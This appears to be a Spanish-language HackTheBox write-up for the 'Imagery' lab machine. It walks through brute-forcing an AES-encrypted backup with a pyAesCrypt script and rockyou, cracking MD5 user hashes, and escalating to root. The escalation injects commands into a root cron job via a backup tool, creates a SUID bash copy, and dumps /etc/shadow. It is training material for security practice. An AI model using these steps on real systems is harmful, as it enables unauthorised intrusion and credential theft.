4bash-5.2$

file muestra encriptacion AES por pyAesCrypt 6.1.1.

bash
1# nc -lvp 80 > web_20250806_120723.zip.aes
2❯ sha256sum web_20250806_120723.zip.aes
34b575e42816be79083a2a19c48a998cc3c6d5ab0f3a7fbac2a468dd2087e6820  web_20250806_120723.zip.aes
4❯ file web_20250806_120723.zip.aes
5web_20250806_120723.zip.aes: AES encrypted data, version 2, created by "pyAesCrypt 6.1.1"
6❯

pyAesCrypt

Se creo un script utilizando pyAesCrypt para encontrar la contrasena para este archivo.

bash
 1# pip install pyAesCrypt
 2#!/usr/bin/env python3
 3import sys, os
 4import pyAesCrypt
 5
 6if len(sys.argv) != 3:
 7    print("Usage: aescrypt_de.py pass_file file.aes"); sys.exit(1)
 8
 9pwfile, infile = sys.argv[1], sys.argv[2]
10out = "/tmp/out_aes_try.zip"
11bufSize = 64 * 1024
12
13with open(pwfile, "r", encoding="utf-8", errors="ignore") as f:
14    for line in f:
15        pw = line.strip()
16        if not pw: 
17            continue
18        try:
19            pyAesCrypt.decryptFile(infile, out, pw, bufSize)
20        except Exception:
21            if os.path.exists(out): os.remove(out)
22            continue
23        # check ZIP magic
24        with open(out, "rb") as g:
25            if g.read(4) == b"PK\x03\x04":
26                print("Password Found:", pw)
27                sys.exit(0)
28        os.remove(out)
29
30print("No password found")

Utilizamos el wordlist rockyou para encontrar la contrasena de este archivo.

bash
1❯ python aescrypt_de.py $ROCK web_20250806_120723.zip.aes
2Password Found: bestfriends
3❯

Utilizamos la contrasena para desencriptar y listamos los archivos dentro del zip, es un backup del sitio.

bash
 1❯ python
 2Python 3.13.3 (main, Apr 10 2025, 21:38:51) [GCC 14.2.0] on linux
 3Type "help", "copyright", "credits" or "license" for more information.
 4>>> import pyAesCrypt
 5>>> pyAesCrypt.decryptFile("web_20250806_120723.zip.aes", "web_20250806_120723.zip", "bestfriends")
 6>>> exit()
 7❯ unzip -l web_20250806_120723.zip | head
 8Archive:  web_20250806_120723.zip
 9  Length      Date    Time    Name
10---------  ---------- -----   ----
11     4023  2025-08-05 09:00   web/utils.py
12     9091  2025-08-05 08:57   web/api_manage.py
13      840  2025-08-05 08:58   web/api_misc.py
14     6398  2025-08-05 08:56   web/api_auth.py
15     1809  2025-08-05 08:59   web/config.py
16     1943  2025-08-05 15:21   web/app.py
17     9784  2025-08-05 08:56   web/api_admin.py
18❯

DB Backup

Dentro de este encontramos el archivo db.json que contiene usuarios y contrasenas.

bash
 1❯ cd web_backup/web
 2❯ ls -lah
 3drwxrwxr-x kali kali 4.0 KB Mon Sep 29 03:12:48 2025  .
 4drwxrwxr-x kali kali 4.0 KB Mon Sep 29 03:12:48 2025  ..
 5drwxrwxr-x kali kali 4.0 KB Mon Sep 29 03:12:48 2025  __pycache__
 6drwxrwxr-x kali kali 4.0 KB Mon Sep 29 03:12:49 2025  env
 7drwxrwxr-x kali kali 4.0 KB Mon Sep 29 03:12:48 2025  system_logs
 8drwxrwxr-x kali kali 4.0 KB Mon Sep 29 03:12:48 2025  templates
 9.rw-rw-r-- kali kali 9.6 KB Tue Aug  5 08:56:42 2025  api_admin.py
10.rw-rw-r-- kali kali 6.2 KB Tue Aug  5 08:56:54 2025  api_auth.py
11.rw-rw-r-- kali kali  12 KB Tue Aug  5 08:57:06 2025  api_edit.py
12.rw-rw-r-- kali kali 8.9 KB Tue Aug  5 08:57:20 2025  api_manage.py
13.rw-rw-r-- kali kali 840 B  Tue Aug  5 08:58:18 2025  api_misc.py
14.rw-rw-r-- kali kali  12 KB Tue Aug  5 08:58:38 2025  api_upload.py
15.rw-rw-r-- kali kali 1.9 KB Tue Aug  5 15:21:24 2025  app.py
16.rw-rw-r-- kali kali 1.8 KB Tue Aug  5 08:59:48 2025  config.py
17.rw-rw-r-- kali kali 1.5 KB Wed Aug  6 12:07:02 2025  db.json
18.rw-rw-r-- kali kali 3.9 KB Tue Aug  5 09:00:20 2025  utils.py
19❯

Existen cuatro usuarios.

bash
 1❯ cat db.json | jq '.users[].username'
 2"admin@imagery.htb"
 3"testuser@imagery.htb"
 4"mark@imagery.htb"
 5"web@imagery.htb"
 6❯ cat db.json | jq '.users[].password'
 7"5d9c1d507a3f76af1e5c97a3ad1eaa31"
 8"2c65c8d7bfbca32a3ed42596192384f6"
 9"01c3d2e5bdaf6134cec0a367cf53e535"
10"84e3c804cf1fa14306f26f9f3da177e0"
11❯

crackstation muestra dos contrasenas nuevas.

HashTypeResult
5d9c1d507a3f76af1e5c97a3ad1eaa31UnknownNot found.
2c65c8d7bfbca32a3ed42596192384f6md5iambatman
01c3d2e5bdaf6134cec0a367cf53e535md5supersmash
84e3c804cf1fa14306f26f9f3da177e0md5spiderweb1234

La contrasena para web es valida.

bash
1bash-5.2$ sudo -l -l
2[sudo] password for web: spiderweb1234
3Sorry, user web may not run sudo on Imagery.
4bash-5.2$

User - mark

Cambiamos a mark con su contrasena logrando acceder a la flag user.txt.

bash
 1bash-5.2$ su mark
 2Password: supersmash
 3bash-5.2$ whoami
 4mark
 5bash-5.2$ cd
 6bash-5.2$ ls
 7user.txt
 8bash-5.2$ cat user.txt
 95cbe987670384a33730bbbe066810f53
10bash-5.2$

Privesc

mark puede ejecutar charcol como root a traves de sudo.

bash
 1bash-5.2$ sudo -l -l
 2Matching Defaults entries for mark on Imagery:
 3    env_reset, mail_badpass,
 4    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
 5    use_pty
 6
 7User mark may run the following commands on Imagery:
 8
 9Sudoers entry: /etc/sudoers
10    RunAsUsers: ALL
11    Options: !authenticate
12    Commands:
13    /usr/local/bin/charcol
14bash-5.2$

El output describe el ejecutable para la creacion de backups encriptados.

bash
 1bash-5.2$ sudo charcol help
 2usage: charcol.py [--quiet] [-R] {shell,help} ...
 3
 4Charcol: A CLI tool to create encrypted backup zip files.
 5
 6positional arguments:
 7  {shell,help}          Available commands
 8    shell               Enter an interactive Charcol shell.
 9    help                Show help message for Charcol or a specific command.
10
11options:
12  --quiet               Suppress all informational output, showing only
13                        warnings and errors.
14  -R, --reset-password-to-default
15                        Reset application password to default (requires system
16                        password verification).
17bash-5.2$ 

Una de las opciones permite reiniciar la contrasena, tras ejecutar esta opcion, se configuro en modo ’no password'.

bash
 1bash-5.2$ sudo charcol -R
 2
 3Attempting to reset Charcol application password to default.
 4[2025-09-29 10:05:54] [INFO] System password verification required for this operation.
 5Enter system password for user 'mark' to confirm: 
 6supersmash
 7
 8[2025-09-29 10:05:59] [INFO] System password verified successfully.
 9Removed existing config file: /root/.charcol/.charcol_config
10Charcol application password has been reset to default (no password mode).
11Please restart the application for changes to take effect.
12bash-5.2$ sudo charcol shell
13
14First time setup: Set your Charcol application password.
15Enter '1' to set a new password, or press Enter to use 'no password' mode: 
16
17Are you sure you want to use 'no password' mode? (yes/no): yes
18[2025-09-29 10:06:17] [INFO] Default application password choice saved to /root/.charcol/.charcol_config
19Using 'no password' mode. This choice has been remembered.
20Please restart the application for changes to take effect.
21bash-5.2$

Accedimos a la shell interactiva.

bash
 1bash-5.2$ sudo charcol shell
 2
 3  ░██████  ░██                                                  ░██ 
 4 ░██   ░░██ ░██                                                  ░██ 
 5░██        ░████████   ░██████   ░██░████  ░███████   ░███████  ░██ 
 6░██        ░██    ░██       ░██  ░███     ░██    ░██ ░██    ░██ ░██ 
 7░██        ░██    ░██  ░███████  ░██      ░██        ░██    ░██ ░██ 
 8 ░██   ░██ ░██    ░██ ░██   ░██  ░██      ░██    ░██ ░██    ░██ ░██ 
 9  ░██████  ░██    ░██  ░█████░██ ░██       ░███████   ░███████  ░██ 
10                                                                    
11                                                                    
12                                                                    
13Charcol The Backup Suit - Development edition 1.0.0
14
15[2025-09-29 10:06:21] [INFO] Entering Charcol interactive shell. Type 'help' for commands, 'exit' to quit.
16charcol>

Cronjobs

Tras ejecutar help este indica que podemos crear cronjobs.

bash
 1Automated Jobs (Cron):
 2    auto add --schedule "<cron_schedule>" --command "<shell_command>" --name "<job_name>" [--log-output <log_file>]
 3      Purpose: Add a new automated cron job managed by Charcol.
 4      Verification:
 5        - If '--app-password' is set (status 1): Requires Charcol application password (via global --app-password flag).
 6        - If 'no password' mode is set (status 2): Requires system password verification (in interactive shell).
 7      Security Warning: Charcol does NOT validate the safety of the --command. Use absolute paths.
 8      Examples:
 9        - Status 1 (encrypted app password), cron:
10          CHARCOL_NON_INTERACTIVE=true charcol --app-password <app_password> auto add \
11          --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs -p <file_password>" \
12          --name "Daily Docs Backup" --log-output <log_file_path>
13        - Status 2 (no app password), cron, unencrypted backup:
14          CHARCOL_NON_INTERACTIVE=true charcol auto add \
15          --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
16          --name "Daily Docs Backup" --log-output <log_file_path>
17        - Status 2 (no app password), interactive:
18          auto add --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
19          --name "Daily Docs Backup" --log-output <log_file_path>
20          (will prompt for system password)
21
22    auto list
23      Purpose: List all automated jobs managed by Charcol.
24      Example:
25        auto list

Creamos el comando para agregar un cronjob.

bash
1auto add --schedule "* * * * *" --command "`whoami>/home/mark/whoami`;charcol backup -i /home/mark/user.txt" --name "new cron" --log-output /home/mark/log.log

Tras ejecutarlo se muestra que fue agregado.

bash
 1charcol> auto add --schedule "* * * * *" --command "`whoami>/home/mark/whoami_cmd`;charcol backup -i /home/mark/user.txt" --name "new cron" --log-output /home/mark/log.log
 2[2025-09-29 10:07:14] [INFO] System password verification required for this operation.
 3Enter system password for user 'mark' to confirm: 
 4supersmash
 5
 6[2025-09-29 10:07:18] [INFO] System password verified successfully.
 7[2025-09-29 10:07:18] [INFO] Auto job 'new cron' (ID: 8f9716b2-9890-4595-94bb-979953954d55) added successfully. The job will run according to schedule.
 8[2025-09-29 10:07:18] [INFO] Cron line added: * * * * * CHARCOL_NON_INTERACTIVE=true `whoami>/home/mark/whoami_cmd`;charcol backup -i /home/mark/user.txt >> /home/mark/log.log 2>&1
 9charcol> auto list
10auto list
11[2025-09-29 10:07:46] [INFO] Charcol-managed auto jobs:
12[2025-09-29 10:07:46] [INFO]   ID: 8f9716b2-9890-4595-94bb-979953954d55
13[2025-09-29 10:07:46] [INFO]   Name: new cron
14[2025-09-29 10:07:46] [INFO]   Command: * * * * * CHARCOL_NON_INTERACTIVE=true `whoami>/home/mark/whoami_cmd`;charcol backup -i /home/mark/user.txt >> /home/mark/log.log 2>&1
15[2025-09-29 10:07:46] [INFO] ------------------------------
16charcol>

pspy muestra el cronjob siendo ejecutado.

bash
 1# cmd : auto list
 22025/09/29 10:07:46 CMD: UID=0     PID=1709321 | crontab -l 
 32025/09/29 10:08:01 CMD: UID=0     PID=1709322 | /usr/sbin/cron -f -P 
 42025/09/29 10:08:01 CMD: UID=0     PID=1709324 | /usr/sbin/cron -f -P 
 52025/09/29 10:08:01 CMD: UID=0     PID=1709323 | /usr/sbin/cron -f -P 
 62025/09/29 10:08:01 CMD: UID=0     PID=1709325 | /usr/sbin/CRON -f -P 
 72025/09/29 10:08:01 CMD: UID=0     PID=1709328 | /usr/sbin/CRON -f -P 
 82025/09/29 10:08:01 CMD: UID=0     PID=1709327 | /usr/sbin/CRON -f -P 
 92025/09/29 10:08:01 CMD: UID=0     PID=1709326 | /usr/sbin/CRON -f -P 
10# cronjob executed
112025/09/29 10:08:01 CMD: UID=0     PID=1709329 | /bin/sh -c CHARCOL_NON_INTERACTIVE=true `whoami>/home/mark/whoami_cmd`;charcol backup -i /home/mark/user.txt >> /home/mark/log.log 2>&1 
122025/09/29 10:08:01 CMD: UID=0     PID=1709331 | /bin/bash /usr/local/bin/charcol backup -i /home/mark/user.txt

Observamos el resultado del comando.

bash
1bash-5.2$ ls -lah whoami_cmd
2-rw-r--r-- 1 root root 5 Sep 29 10:08 whoami_cmd
3bash-5.2$ cat whoami_cmd
4root
5bash-5.2$

Shell

Creamos un nuevo cronjob para la copia de bash con permisos SUID.

bash
1auto add --schedule "* * * * *" --command "cp /usr/bin/bash /usr/bin/sc; chmod u+s /usr/bin/sc" --name "bash priv" --log-output /home/mark/log.log

Se agrego a la lista.

bash
 1charcol> auto add --schedule "* * * * *" --command "cp /usr/bin/bash /usr/bin/sc; chmod u+s /usr/bin/sc" --name "bash priv" --log-output /home/mark/log.log
 2[2025-09-29 10:09:14] [INFO] System password verification required for this operation.
 3Enter system password for user 'mark' to confirm: 
 4supersmash
 5[2025-09-29 10:09:17] [INFO] System password verified successfully.
 6[2025-09-29 10:09:17] [INFO] Auto job 'bash priv' (ID: f00c9a41-7a4b-4a58-a76e-f4fc22069349) added successfully. The job will run according to schedule.
 7[2025-09-29 10:09:17] [INFO] Cron line added: * * * * * CHARCOL_NON_INTERACTIVE=true cp /usr/bin/bash /usr/bin/sc; chmod u+s /usr/bin/sc >> /home/mark/log.log 2>&1
 8charcol> auto list
 9[2025-09-29 10:09:21] [INFO] Charcol-managed auto jobs:
10[2025-09-29 10:09:21] [INFO]   ID: 8f9716b2-9890-4595-94bb-979953954d55
11[2025-09-29 10:09:21] [INFO]   Name: new cron
12[2025-09-29 10:09:21] [INFO]   Command: * * * * * CHARCOL_NON_INTERACTIVE=true `whoami>/home/mark/whoami_cmd`;charcol backup -i /home/mark/user.txt >> /home/mark/log.log 2>&1
13[2025-09-29 10:09:21] [INFO] ------------------------------
14[2025-09-29 10:09:21] [INFO]   ID: f00c9a41-7a4b-4a58-a76e-f4fc22069349
15[2025-09-29 10:09:21] [INFO]   Name: bash priv
16[2025-09-29 10:09:21] [INFO]   Command: * * * * * CHARCOL_NON_INTERACTIVE=true cp /usr/bin/bash /usr/bin/sc; chmod u+s /usr/bin/sc >> /home/mark/log.log 2>&1
17[2025-09-29 10:09:21] [INFO] ------------------------------
18charcol>

pspy muestra su ejecucion como root.

bash
12025/09/29 10:10:01 CMD: UID=0     PID=1709705 | /bin/bash /usr/local/bin/charcol backup -i /home/mark/user.txt 
22025/09/29 10:10:01 CMD: UID=0     PID=1709706 | /usr/bin/python3 /usr/local/lib/charcol//charcol.py backup -i /home/mark/user.txt 
32025/09/29 10:10:01 CMD: UID=0     PID=1709707 | /bin/sh -c CHARCOL_NON_INTERACTIVE=true cp /usr/bin/bash /usr/bin/sc; chmod u+s /usr/bin/sc >> /home/mark/log.log 2>&1 
42025/09/29 10:10:01 CMD: UID=0     PID=1709708 | /sbin/init

Tras ejecutar la copia como privilegiada logramos acceso root y la lectura de root.txt.

bash
 1bash-5.2$ ls -lah /usr/bin/sc
 2-rwsr-xr-x 1 root root 1.5M Sep 29 10:10 /usr/bin/sc
 3bash-5.2$ /usr/bin/sc -p
 4sc-5.2# whoami
 5root
 6sc-5.2# cd /root
 7sc-5.2# ls
 8chrome.deb  root.txt
 9sc-5.2# cat root.txt
10c00f38447d12464e5afd3ca4bb87d38e
11sc-5.2#

Loot

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

bash
 1sc-5.2# cat /etc/shadow
 2cat /etc/shadow
 3root:$y$j9T$OVSThp/6ybogilellugDf.$Le2uXxNfrXRiH18puL.GI7fnu2hYxttVASa.OMFvjs4:20286:0:99999:7:::
 4daemon:*:20003:0:99999:7:::
 5bin:*:20003:0:99999:7:::
 6sys:*:20003:0:99999:7:::
 7sync:*:20003:0:99999:7:::
 8games:*:20003:0:99999:7:::
 9man:*:20003:0:99999:7:::
10lp:*:20003:0:99999:7:::
11mail:*:20003:0:99999:7:::
12news:*:20003:0:99999:7:::
13uucp:*:20003:0:99999:7:::
14proxy:*:20003:0:99999:7:::
15www-data:*:20003:0:99999:7:::
16backup:*:20003:0:99999:7:::
17list:*:20003:0:99999:7:::
18irc:*:20003:0:99999:7:::
19_apt:*:20003:0:99999:7:::
20nobody:*:20003:0:99999:7:::
21systemd-network:!*:20003::::::
22usbmux:!:20003::::::
23systemd-timesync:!*:20003::::::
24messagebus:!:20003::::::
25systemd-resolve:!*:20003::::::
26pollinate:!:20003::::::
27polkitd:!*:20003::::::
28syslog:!:20003::::::
29uuidd:!:20003::::::
30tcpdump:!:20003::::::
31tss:!:20003::::::
32landscape:!:20003::::::
33fwupd-refresh:!*:20003::::::
34web:$y$j9T$bSJcB7IM6SVHob8SVJQ2X/$L16rTrWlInaJ6EvPTXO3CTiUP88xtNClzOJkwXIIL0D:20303:0:99999:7:::
35sshd:!:20283::::::
36snapd-range-524288-root:!:20283::::::
37snap_daemon:!:20283::::::
38mark:$y$j9T$m1reIJvzn7/7hhJ26v8WV1$3zPWU7HPsUn0P133BsMZDar.XmDq1T3AbJrfi.Nc6x3:20350:0:99999:7:::
39_laurel:!:20353::::::
40dhcpcd:!:20353::::::
41sc-5.2#
sckull

Written by sckull

eJPT · eCPPT · eMAPT

Prev HackTheBox - Previous
Next HackTheBox - CodeTwo